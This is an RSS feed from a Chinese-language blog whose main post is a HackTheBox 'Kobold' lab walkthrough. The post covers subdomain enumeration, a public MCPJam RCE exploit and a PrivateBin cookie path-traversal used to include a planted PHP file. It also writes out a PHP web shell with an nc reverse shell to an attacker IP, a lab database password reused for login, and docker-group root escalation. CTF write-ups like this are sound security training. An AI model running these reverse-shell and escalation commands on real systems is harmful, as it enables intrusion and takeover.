<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
>
<channel>
<title><![CDATA[Puppy playtime]]></title> 
<atom:link href="https://wistful.cn/rss.php" rel="self" type="application/rss+xml" />
<description><![CDATA[]]></description>
<link>https://wistful.cn/</link>
<language>zh-cn</language>

<item>
    <title>HTB-Kobold</title>
    <link>https://wistful.cn/?post=3</link>
    <description><![CDATA[<h2>端口扫描</h2>
<pre><code class="language-bash">└─$ nmap -p- 10.129.38.62
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-10 19:09 CST
Nmap scan report for 10.129.38.62
Host is up (0.11s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
3552/tcp open  taserver</code></pre>
<pre><code># 感觉没什么信息
https://kobold.htb/
# 这是个Arcane 1.13.0 登录页面，但是查了漏洞好像没有可以利用的
http://kobold.htb:3552/login</code></pre>
<h2>子域名爆破</h2>
<pre><code>ffuf -u "https://kobold.htb/" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host:FUZZ.kobold.htb" -t 100 -fs 154</code></pre>
<p>得到<code>mcp.kobold.htb</code>以及<code>bin.kobold.htb</code>（字典用的小了，我没扫到），在<code>mcp.kobold.htb</code>设置页面得到了 MCPJam 的版本信息 <code>MCPJam Version: v1.4.2</code></p>
<h2><a href="https://github.com/suljov/CVE-2026-23744-Remote-Code-Execution-POC">CVE-2026-23744</a></h2>
<p>更改<code>url</code> <code>ip</code> <code>port</code>后，得到<code>ben</code>账号，<code>linpeas</code>发现了第二个<code>bin</code>子域名</p>
<h2><a href="https://github.com/advisories/GHSA-g2j9-g8r5-rg82">CVE-2025-64714</a></h2>
<h2>Conditions</h2>
<ul>
<li><code>templateselection</code> got enabled in <code>cfg/conf.php</code></li>
<li>Visitor sets a cookie <code>template</code> pointing to an existing PHP file without it's suffix, using a path relative to the <code>tpl</code> folder. Absolute paths do not work.Visitor 设置一个指向Cookie的template，指向一个没有后缀的现有PHP文件，路径相对于 tpl 文件夹。绝对路径行不通。</li>
</ul>
<p>可以看到<code>bin.kobold.htb</code>下标 <code>PrivateBin 2.0.2</code></p>
<pre><code>GET / HTTP/1.1
Host: bin.kobold.htb
Cookie: template=bootstrap5; ph_phc_dTOPniyUNU2kD8Jx8yHMXSqiZHM8I91uWopTMX6EBE9_posthog=%7B%22%24device_id%22%3A%22019e1199-e49c-7113-bd96-c0f34e6291f3%22%2C%22distinct_id%22%3A%22019e1199-e49c-7113-bd96-c0f34e6291f3%22%2C%22%24sesid%22%3A%5B1778459482906%2C%22019e1466-2043-7c74-8698-cb178b178f5f%22%2C1778458697793%5D%2C%22%24initial_person_info%22%3A%7B%22r%22%3A%22%24direct%22%2C%22u%22%3A%22https%3A%2F%2Fmcp.kobold.htb%2F%23%22%7D%7D
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive</code></pre>
<p>看到 <code>Cookie</code> 中存在 <code>template=bootstrap5</code></p>
<pre><code class="language-bash">ben@kobold:/privatebin-data/data$ echo '&lt;?php phpinfo();?&gt;' &gt; test.php
echo '&lt;?php phpinfo();?&gt;' &gt; test.php</code></pre>
<pre><code>GET / HTTP/1.1
Host: bin.kobold.htb
Cookie: template=../data/test; ph_phc_dTOPniyUNU2kD8Jx8yHMXSqiZHM8I91uWopTMX6EBE9_posthog=%7B%22%24device_id%22%3A%22019e1199-e49c-7113-bd96-c0f34e6291f3%22%2C%22distinct_id%22%3A%22019e1199-e49c-7113-bd96-c0f34e6291f3%22%2C%22%24sesid%22%3A%5B1778459482906%2C%22019e1466-2043-7c74-8698-cb178b178f5f%22%2C1778458697793%5D%2C%22%24initial_person_info%22%3A%7B%22r%22%3A%22%24direct%22%2C%22u%22%3A%22https%3A%2F%2Fmcp.kobold.htb%2F%23%22%7D%7D
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive</code></pre>
<p>测试成功，接着反弹shell</p>
<pre><code class="language-bash">ben@kobold:/privatebin-data/data$ echo '&lt;?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.10.16.229 6666 &gt;/tmp/f");?&gt;' &gt; nc.php
&lt;-i 2&gt;&amp;1|nc 10.10.16.229 6666 &gt;/tmp/f");?&gt;' &gt; nc.php
ben@kobold:/privatebin-data/data$ cat nc.php
cat nc.php
&lt;?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.10.16.229 6666 &gt;/tmp/f");?&gt;</code></pre>
<pre><code class="language-bash">/var/www $ cat index.php
&lt;?php declare(strict_types=1);
/**
 * PrivateBin
 *
 * a zero-knowledge paste bin
 *
 * @link      https://github.com/PrivateBin/PrivateBin
 * @copyright 2012 Sébastien SAUVAGE (sebsauvage.net)
 * @license   https://www.opensource.org/licenses/zlib-license.php The zlib/libpng License
 */

// change this, if your php files and data is outside of your webservers document root
define('PATH', '/srv/');

define('PUBLIC_PATH', __DIR__);
require PATH . 'vendor' . DIRECTORY_SEPARATOR . 'autoload.php';
new PrivateBin\Controller;</code></pre>
<p>去srv目录下看看发现cfg，分析配置文件</p>
<ul>
<li>照应了这个CVE的条件 <code>templateselection = true</code></li>
<li>配置文件中给的密码<code>ComplexP@sswordAdmin1928</code>成功登录<code>http://kobold.htb:3552/login</code>账号为<code>arcane</code></li>
</ul>
<pre><code class="language-bash">;[model]
; example of DB configuration for MySQL
;class = Database
;[model_options]
;dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
;tbl = "privatebin_"    ; table prefix
;usr = "privatebin"
;pwd = "Z3r0P4ss"
;opt[12] = true   ; PDO::ATTR_PERSISTENT

;[model]
; example of DB configuration for PostgreSQL
;class = Database
;[model_options]
;dsn = "pgsql:host=localhost;dbname=privatebin"
;tbl = "privatebin_"     ; table prefix
;usr = "privatebin"
;pwd = "Z3r0P4ss"
;opt[12] = true    ; PDO::ATTR_PERSISTENT</code></pre>
<pre><code class="language-bash">[model]
; example of DB configuration for MySQL
; Temporarily disabling while we migrate to new server for loadbalancing
;class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_"    ; table prefix
usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"
opt[12] = true   ; PDO::ATTR_PERSISTENT

;[model]
; example of DB configuration for SQLite
;class = Database
;[model_options]
;dsn = "sqlite:" PATH "data/db.sq3"
;usr = null
;pwd = null
;opt[12] = true ; PDO::ATTR_PERSISTENT

;[model]
; example of DB configuration for PostgreSQL
;class = Database
;[model_options]
;dsn = "pgsql:host=localhost;dbname=privatebin"
;tbl = "privatebin_"     ; table prefix
;usr = "privatebin"
;pwd = "Z3r0P4ss"
;opt[12] = true    ; PDO::ATTR_PERSISTENT</code></pre>
<p><a href="https://wistful.cn/content/uploadfile/202605/183b1778494094.png">https://wistful.cn/content/uploadfile/202605/183b1778494094.png</a></p>
<p>配好基础和端口<code>9999</code>以及数据卷从<code>/</code>到<code>/app</code>其实就好了，</p>
<h2>root1</h2>
<p>可以直接在web页面的shell端操作拿到root.txt</p>
<p><a href="https://wistful.cn/content/uploadfile/202605/38e01778494094.png">https://wistful.cn/content/uploadfile/202605/38e01778494094.png</a></p>
<h2>root2</h2>
<pre><code class="language-bash">ben@kobold:/$ sg docker
sg docker
 ben@kobold:/$id
id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
ben@kobold:/$ docker ps
docker ps
CONTAINER ID   IMAGE                               COMMAND                  CREATED          STATUS          PORTS                      NAMES
0f748f1f1c48   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.local"   11 minutes ago   Up 11 minutes   8080/tcp                   wistful
4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.local"   2 months ago     Up 2 hours      127.0.0.1:8080-&gt;8080/tcp   bin
ben@kobold:/$ docker exec -t -i wistful /bin/sh</code></pre>
<h2>root3</h2>
<p>或者不进行登录web端，由<code>ps aux</code>得到靶机正在运行docker，利用<code>sg</code>或者 <code>newgrp docker</code>尝试进入docker组，直接利用docker组进行 <a href="https://gtfobins.org/gtfobins/docker/">提权</a></p>
<pre><code class="language-bash">docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh</code></pre>
<p><strong>注意</strong>：<br />
root前 id 的时候，没看到自己在 docker 组，但是我们 <code>sg docker</code> 就能切换到 docker 组，是因为我们在 docker 组里这个信息被写到了 <code>/etc/gshadow</code> 里面，<code>sg</code> 从中读取了这个信息，从而让我们切换到了 docker 组里。</p>
<p><a href="https://www.cnblogs.com/DSchenzi/p/19769841">https://www.cnblogs.com/DSchenzi/p/19769841</a><br />
<a href="https://andeli123.github.io/2026/03/23/HackTheBox-Kobold/index.html">https://andeli123.github.io/2026/03/23/HackTheBox-Kobold/index.html</a></p>]]></description>
    <pubDate>Mon, 11 May 2026 18:03:47 +0800</pubDate>
    <dc:creator>我是薯条</dc:creator>
    <guid>https://wistful.cn/?post=3</guid>
</item>
<item>
    <title>你好</title>
    <link>https://wistful.cn/?post=2</link>
    <description><![CDATA[<p>你好，欢迎来到我的博客!!!</p>]]></description>
    <pubDate>Mon, 11 May 2026 17:46:37 +0800</pubDate>
    <dc:creator>我是薯条</dc:creator>
    <guid>https://wistful.cn/?post=2</guid>
</item>
</channel>
</rss>